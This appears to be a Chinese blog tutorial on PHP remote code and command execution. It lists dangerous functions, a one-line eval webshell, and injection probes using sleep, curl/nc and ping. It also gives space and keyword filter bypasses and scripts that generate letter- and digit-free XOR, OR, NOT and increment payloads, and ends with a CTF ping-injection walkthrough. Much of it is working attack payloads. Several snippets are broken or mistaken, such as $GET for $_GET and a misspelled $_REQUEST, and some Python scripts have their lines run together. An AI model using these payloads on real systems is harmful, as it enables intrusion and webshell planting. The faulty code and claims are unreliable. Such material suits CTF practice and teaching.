当前位置: 首页 > news >正文

web渗透—RCE

一:代码执行
  • 相关函数

1、eval()函数
assert()函数

(1)原理:将用户提交或者传递的字符串当作php代码执行

(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")

eg:

<?php highlight_file(__FILE__);//高亮显示代码 $cmd = $_GET['cmd'] //GET传值:url/?cmd=phpinfo();eval('$cmd');//必须传递一个完整语句;参数后面必须加分号!assert('$cmd');//可以不加分号! 
?> 
//一句话木马的介绍
<?php eval($_POST["cmd"]);?> 

2、preg_replace()

原理:正则表达式的匹配;其中存在一个危险的字符/e修饰符;使preg_replace()将replaement参数当作php代码执行

<?php highlight_file(__FILE__);preg_replace('/abc/e',$_RWQUST['cmd'],'abcd'); //GET传值方式:url/?cmd=phpinfo() preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?> //如果匹配到abc,就会将用户传递进来的参数当作php代码进行执行 

3、自定义函数

(1)create_function(string $args,string $code)
原理:主要用来创建匿名函数;如果没有对传递参数进行过滤;攻击者可以构造特殊的字符串来执行任意命令
 

<?php$cmd = $_GET['cmd'];//GET传值方式:url/?cmd=phpinfo();$func = create_function('',$_REQUEST['cmd']); $func();
?> 

(2)自定义函数回调

<?php 判断是否回调 //echo is_callable('assert');//可以回调显示1;否则显示0;根据回显函数执行系统命令 call_user_func函数 //call_user_func('assert',$GET['cmd']) // GET传值:url/?cmd=phpinfo() call_user_func_array函数 //$cmd = $GET['cmd'] //call_user_func_array('assert',$cmd) //以数组的方式传递;GET传值方式:url/?cmd[]=phpinfo() 
?> 

4、动态函数

<?php //定义函数输出a function a(){ echo 'a'; } //定义函数输出b function b(){ echo 'b'; } //判断是否通过GET方式传递了func参数 if(isset($_GET["func"]))){ //接受传递的参数 $myfunc = $GET["func"]; //调用函数执行传递进来的命令 echo $myfunc();}//GET传值: url?func=phpinfo(); 
?> 
二:命令执行
  • 命令执行相关函数

(1)system()函数

eg:

system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容 

(2)exec(参数,执行结果)函数

eg:

<?php highlight_file(__FILE__); $cmd = $GET['cmd']; exec($cmd.$result); //将用户传递的参数当作系统命令执行;并返回结果给$result echo $result; var_dump($result) //输出执行命令的参数 
?> 

(3)shell_exec()函数与passthru函数

原理:与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果

<?php highlight_file(__FILE__); $cmd = $GET['cmd']; //$output = shell_exec($cmd); //echo $output //passthru($cmd); 
?> 

(4)反引号

与shell_exec原理相同;对传递进来的cmd参数用反引号括起来(就会当作系统命令执行)

<?php highlight_file(__FILE__); $cmd = $GET['cmd']; $output = `$cmd` echo $output
  • 防御措施
  • 验证是否存在命令注入

(1)延时执行

ls -alh|sleep 3 
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行;f12在网络中看响应时间 

(2)HTTP请求

# 使用nc 和 curl结合使用;判断是否请求成功 
nc -lcf 8000 
curl ip 8000 //如果nc处有回显信息说明请求连接成功 

(3)DNS请求

# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在 
  • 命令执行绕过

(1)echo拼接(用.进行拼接)

image

换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||) 
GET传值方式 
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig 

(2)linux中空格的过滤

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==>< 
eg: 
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php 

(3)关键字系统命令被过滤

;a=l;b=s;$a$b<==>ls 
GET传值:url/?cmd=pwd;;a=l;b=s;$a$b 

(4)base64编码

三:绕过

(1)在ctf题目当中;我们会碰到过滤字母和数字的情况;可以通异或;取反;自增;或进行绕过

<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } 

(2)异或绕过

eg1: 5和z进行异或

原理:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010;异或一下就是1101111;转化为asscii就是o

image

异或脚本
 

// rce_xor.php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents=""; 
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); }else{ $hex_j=dechex($j); } $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } 
}
fwrite($myfile,$contents); 
fclose($myfile); 
# -*- coding: utf-8 -*-
# rce_xor.pyimport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

eg:

(3)或绕过

<?php/* author yu22x */$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

(4)取反绕过

<?php
//在命令行中运行
// 取反
// 无数字字母getshellwhile(true) {fwrite(STDOUT,PHP_EOL.'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

(5)自增绕过

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
四:例题讲解

题目1:Ping Ping Ping
首先进行了简单的ping;测试发现过滤了常见的命令连接符;
%0a %0d ; | && || &
使用字典跑一下发现没有对|和;进行过滤;于是列举当前目录/?ip=127.0.0.1|ls

尝试查看一下flag.php;发现过滤了空格;于是使用空格字典进行爆破;发现没有过滤${IFS}和$IFS$9!

再次查看发现对flag进行了过滤
(1)方法1
反引号绕过;构造payload;查看当前的所有文件的内容(由于博客的限制;用引号暂代提一下;就是用反引号将ls括起来;就会将ls当作命令执行!)
/?ip=127.0.0.1|cat$IFS$9'ls'
 

image


(2)方法2;绕过flag的过滤!(linux中的一种语法!)
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

image

相关文章:

web渗透—RCE

一&#xff1a;代码执行 相关函数 1、eval()函数 assert()函数 (1)原理&#xff1a;将用户提交或者传递的字符串当作php代码执行 (2)passby:单引号绕过&#xff1a;闭合注释&#xff1b;开启GPC的话就无法绕过&#xff08;GPC就是将单引号转换为"反斜杠单引号"&a…...

HomeAssistant显示节假日

先看效果 步骤&#xff1a; 新建卡片时选择“Markdown 卡片”代码在文章最下方&#xff0c;当然你也可以自己修改 点击保存/完成 ### {% if now().hour > 6 and now().hour < 9 -%} 早上好&#xff0c; {%- elif now().hour > 9 and now().hour < 12 -%} 上午好…...

AI问答-HTTP:理解 Content-Disposition

本文背景 在下载arraybuffer文件时&#xff0c;想要获取文件名&#xff0c;这时引入本文内容Content-Disposition&#xff0c;我们在Content-Disposition获取到文件名就可以在下载后的文件以该文件名命名了。 一、简介 Content-Disposition是HTTP协议中的一个响应头字段&…...

kubernetes架构

kubernetes cluster由master和node组成&#xff0c;节点上运行着若干kubernetes服务Master节点&#xff1a; master是kubernetes cluster的大脑&#xff0c;运行着的Daemon服务包括kube-apiserver&#xff0c;kube-scheduler,kube-controller-manager&#xff0c;etcd和Pod网络…...

【隐私计算篇】中国剩余定理解释以及Paillier解密加速应用

1. 背景介绍 本篇主要关注中国剩余定理的原理以及在paillier同态加密系统中的应用。在很多工作中&#xff0c;都可以看到中国剩余定理的影子&#xff0c;特别是同态加密提升计算效率的优化工作中&#xff0c;将paillier与中国剩余定理进行结合&#xff0c;能够实现在加密状态下…...

保护您的隐私:隐藏 IP 地址的重要性

在当今的数字时代&#xff0c;我们的在线隐私和安全变得比以往任何时候都更加重要。浏览互联网时保护自己的一种方法是隐藏您的 IP 地址。 但是为什么要隐藏您的 IP 地址以及如何有效地做到这一点&#xff1f; 隐藏您的 IP 地址有助于保护您的在线匿名性。您的 IP 地址就像您的…...

nodejs 007:错误npm error Error: EPERM: operation not permitted, symlink

完整错误信息 npm error Error: EPERM: operation not permitted, symlink npm warn cleanup Failed to remove some directories [ npm warn cleanup [ npm warn cleanup C:\\Users\\kingchuxing\\Documents\\IPFS\\orbit-db-set-master\\node_modules\\ipfs-cli, npm…...

Rsync未授权访问漏洞复现及彻底修复

一、什么是 Rsync&#xff1f; Rsync 是一种广泛使用的文件传输工具&#xff0c;它允许系统管理员和用户通过局域网&#xff08;LAN&#xff09;或广域网&#xff08;WAN&#xff09;在计算机之间同步文件和目录。Rsync 支持通过本地或远程 shell 访问&#xff0c;也可以作为守…...

影刀RPA实战:网页爬虫之携程酒店数据

1.实战目标 大家对于携程并不陌生&#xff0c;我们出行定机票&#xff0c;住酒店&#xff0c;去旅游胜地游玩&#xff0c;都离不开这样一个综合性的网站为我们提供信息&#xff0c;同时&#xff0c;如果你也是做旅游的公司&#xff0c;那携程就是一个业界竞争对手&#xff0c;…...

【UCB CS61C】Lecture 5 - Floating Point

目录 引入浮点数&#xff08;Floating Point&#xff09;定点表示法&#xff08;Fixed-Point Model&#xff09;科学记数法&#xff08;Scientific Notation&#xff09;记数法间的转换 IEEE 754 二进制浮点数算术标准实现目标单精度浮点编码阶码字段&#xff08;The Exponent …...

【Binlog实战】:基于Spring监听Binlog日志

【Binlog实战】&#xff1a;基于Spring监听Binlog日志 binlog的三种模式 MySQL 的二进制日志&#xff08;binlog&#xff09;有三种不同的格式&#xff0c;通常被称为 binlog 模式。这三种模式分别是 Statement 模式、Row 模式和Mixed 模式。 Statement 模式&#xff1a; 在 …...

鸿蒙OpenHarmony【轻量系统芯片移植】轻量系统STM32F407芯片移植案例

轻量系统STM32F407芯片移植案例 介绍基于STM32F407IGT6芯片在拓维信息[Niobe407]开发板上移植OpenHarmony LiteOS-M轻量系统&#xff0c;提供交通、工业领域开发板解决方案。移植架构采用Board与SoC分离方案&#xff0c;使用arm gcc工具链Newlib C库&#xff0c;实现了lwip、l…...

基于SpringBoot+定时任务实现地图上绘制车辆实时运动轨迹图

目录 1. 项目结构 2. Maven依赖配置 (pom.xml) 3. 实现后端服务 4. 配置文件 (application.properties) 5. 启动项目 6. 访问页面 实现基于北斗卫星的车辆定位和轨迹图的Maven工程&#xff08;使用模拟数据&#xff09;&#xff0c;我们将使用以下技术&#xff1a; Spri…...

Rasa对话模型——做一个语言助手

1、Rasa模型 1.1 模型介绍 Rasa是一个用于构建对话 AI 的开源框架&#xff0c;主要用于开发聊天机器人和语音助手。Rasa 提供了自然语言理解&#xff08;NLU&#xff09;和对话管理&#xff08;DM&#xff09;功能&#xff0c;使开发者能够创建智能、交互式的对话系统。 1.2…...

golang学习笔记19——golang做服务发现与注册的深度剖析

推荐学习文档 golang应用级os框架&#xff0c;欢迎stargolang应用级os框架使用案例&#xff0c;欢迎star案例&#xff1a;基于golang开发的一款超有个性的旅游计划app经历golang实战大纲golang优秀开发常用开源库汇总想学习更多golang知识&#xff0c;这里有免费的golang学习笔…...

ROS和ROS2借助智能大模型的学习和研究方法

机器人相关知识的本身和价值-CSDN博客 知识本身在智能时代毫无价值&#xff0c;需要基于知识应用和创新才有价值。 学历报废并非来自扩招&#xff0c;而是智能模型的快速发展。-CSDN blink-领先的开发者技术社区 2024年中秋&#xff0c;智能模型实力已经如此&#xff0c;但还…...

弹性负载均衡ELB 详解和设置方法

一、弹性负载均衡ELB 详解 1. 定义与概念 弹性负载均衡&#xff08;Elastic Load Balancing&#xff0c;简称ELB&#xff09;是一种将访问流量自动分发到多台云服务器的流量分发控制服务。它通过在多个后端服务器之间均衡分配请求&#xff0c;提高应用程序的可用性、可扩展性…...

Python3网络爬虫开发实战(15)Scrapy 框架的使用(第一版)

文章目录 一、Scrapy 框架介绍1.1 数据流1.2 项目结构1.3 Scrapy 入门 二、Selector 解析器2.1 XPath 和 CSS 选择器2.2 信息提取2.3 正则提取 三、Spider 的使用3.1 Spider 运行流程3.2 Spider 类分析3.3 Request3.4 Response 四、Download Middleware 的使用4.1 process_requ…...

大众点评代发排名骗局

大众点评代发排名骗局 不诋毁同行&#xff0c;不贬低对手&#xff0c;请各位老板擦亮眼睛&#xff0c;认真看完这篇文章&#xff0c;以防上当受骗#网络宣传&#xff03;企业推广&#xff03;企业推广 大众点评代发排名&#xff1a;一场精心编织的骗局 在这个美食如云的时代&…...

硬件基础知识

驱动开发分为&#xff1a;裸机驱动、linux驱动 嵌入式&#xff1a;以计算机技术为基础&#xff0c;软硬结合的、可移植、可剪裁的专用计算机 单片机最小单元&#xff1a;vcc gnd reset 晶振 cpu --- soc :system on chip 片上外设 所有的程序都是在soc&#xff08;cpu&…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别

OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

scikit-learn机器学习

# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

解读《网络安全法》最新修订,把握网络安全新趋势

《网络安全法》自2017年施行以来&#xff0c;在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂&#xff0c;网络攻击、数据泄露等事件频发&#xff0c;现行法律已难以完全适应新的风险挑战。 2025年3月28日&#xff0c;国家网信办会同相关部门起草了《网络安全…...

【Linux手册】探秘系统世界:从用户交互到硬件底层的全链路工作之旅

目录 前言 操作系统与驱动程序 是什么&#xff0c;为什么 怎么做 system call 用户操作接口 总结 前言 日常生活中&#xff0c;我们在使用电子设备时&#xff0c;我们所输入执行的每一条指令最终大多都会作用到硬件上&#xff0c;比如下载一款软件最终会下载到硬盘上&am…...

图解JavaScript原型:原型链及其分析 | JavaScript图解

​​ 忽略该图的细节&#xff08;如内存地址值没有用二进制&#xff09; 以下是对该图进一步的理解和总结 1. JS 对象概念的辨析 对象是什么&#xff1a;保存在堆中一块区域&#xff0c;同时在栈中有一块区域保存其在堆中的地址&#xff08;也就是我们通常说的该变量指向谁&…...